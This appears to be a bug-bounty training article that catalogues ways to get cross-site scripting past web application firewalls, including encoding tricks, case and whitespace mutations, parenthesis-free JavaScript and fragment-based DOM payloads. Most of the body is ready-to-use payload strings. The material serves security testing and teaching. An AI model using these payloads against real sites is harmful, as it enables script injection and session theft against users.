Advanced levelPremium

XSS WAF bypass — encoding, parser differentials, case-only mutations

WAF bypass techniques for XSS: HTML entities, hex/decimal/unicode encoding, parser differentials (browser vs WAF), comment injection, case variations, JS template literals.

Gorka El BochiMay 11, 202616 min

Quick answer

Commercial WAFs (Cloudflare, Akamai, AWS WAF, Imperva) block XSS with signature-based rules: <script, onerror=, alert(, javascript:. Bypass goes through parser differential (WAF parses X, browser parses Y), asymmetric encoding (HTML entities decoded post-WAF), case and whitespace mutations and modern JS constructs (template literals, optional chaining, getters). The golden rule: the WAF looks at bytes, the browser executes semantics.


The principle — parser differential

WAF and browser speak different languages. The WAF normalizes the request before applying rules. The browser parses after the server's normalization. If the two pipelines differ in one position, there's a gap.

PayloadWAF sees it asBrowser executes
<script>alert(1)</script><script> tag (blocks)Same
<scrIpt>alert(1)</scrIpt>A legitimate tag if case-sensitiveExecutes (HTML is case-insensitive)
<script/x>alert(1)</script>Possible bypass of a regex expecting <script>Executes
<svg/onload=alert(1)>The WAF may not consider / a separatorThe browser accepts it as an attribute
<img src=x onerror=alert(1)>BlockedBlocked
<img src=x onerror="alert(1)">IdemIdem
<img src=x onerror=alert\x281\x29>Hex in bytes confuses the regexThe browser executes alert(1)

Asymmetric encoding — HTML entities

The browser decodes HTML entities (&#x61;a) inside the DOM, not in URL params. If the WAF inspects the raw URL but the server reflects the value in an HTML attribute context, the entities pass:

ini
<a href="USER_INPUT">

USER_INPUT = javascript&#58;alert&#40;1&#41;

The WAF looking for javascript: doesn't see it (javascript&#58;). The browser, on rendering, decodes → javascript:alert(1) executes.

Encoding variants

EncodingExampleContext where it decodes
HTML entity decimal&#106;avascript:Attribute value (href, src)
HTML entity hex&#x6a;avascript:Attribute value
HTML entity named&NewLine; (CR)Some old contexts
URL encode single%3Cscript%3EURL params decoded by the server
URL encode double%253Cscript%253EIf the server decodes twice
Unicode JS escape<script>Inside a JS string
Hex JS escape\x3cscript\x3eIdem
UTF-7+ADw-script+AD4-XML/IE historical, almost dead

Double decoding trap

Apps that decode URL params twice (Java Spring, some misconfigured Node middlewares):

perl
?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
   ↑ WAF decoda una vez → "%3Cimg%20src%3Dx..." (sin tags ejecutables)
   ↑ Server decoda otra vez → "<img src=x onerror=alert(1)>"

The WAF sees nothing dangerous. The server injects an executable tag.


Case and whitespace mutations

html
<sCRipT>alert(1)</sCRipT>          <!-- Case insensitive en HTML -->
<script\t>alert(1)</script>         <!-- Tab como whitespace -->
<script\r\n>alert(1)</script>       <!-- CRLF -->
<script\x00>alert(1)</script>       <!-- NUL byte (algunos parsers) -->
<script/random=ignored>alert(1)</script>  <!-- Slash + atributo random -->
<script ~='@'>alert(1)</script>     <!-- Whitespace + atributo char raro -->

<svg/onload=alert(1)>               <!-- Slash en vez de espacio -->
<svg onload =alert(1)>              <!-- Espacio antes del = -->
<svg onload	=	alert(1)>            <!-- Tabs alrededor del = -->
<svg onload=&#x61;lert(1)>          <!-- Entity dentro del atributo -->
<svg/onload=alert/**/(1)>           <!-- Comentario JS dentro de la call -->
<svg onload="alert`1`">              <!-- Template literal en vez de paréntesis -->

Modern JS — no parentheses or quotes

Simple WAFs block alert(, eval(, literal (. Bypass with template literals (ES6+):

javascript
alert`1`                    // Llama alert con tagged template
eval`alert\x281\x29`        // Hex escape para los paréntesis
Function`alert\x281\x29```  // IIFE

Without a literal alert:

javascript
top["al"+"ert"](1)          // String concatenation
top["\x61\x6c\x65\x72\x74"](1)
window[/al/.source + /ert/.source](1)
self[atob('YWxlcnQ=')](1)   // base64 decode

Without parentheses and without template literals:

javascript
location='javascript:alert\x281\x29'    // location asignación
onerror=alert;throw 1                    // throw como caller

onerror=alert;throw 1 is one of the shortest and bypasses WAFs looking for alert(.


DOM-level mutations

When the target is DOM XSS (not reflected server-side), the WAF may not inspect the # fragment (it isn't sent to the server). The full payload goes in the hash:

php-template
https://target.com/page#<img src=x onerror=alert(1)>

The WAF never sees it. It only requires that the client-side JS read location.hash and put it in a sink.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Cloudflare Waf Bypass

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy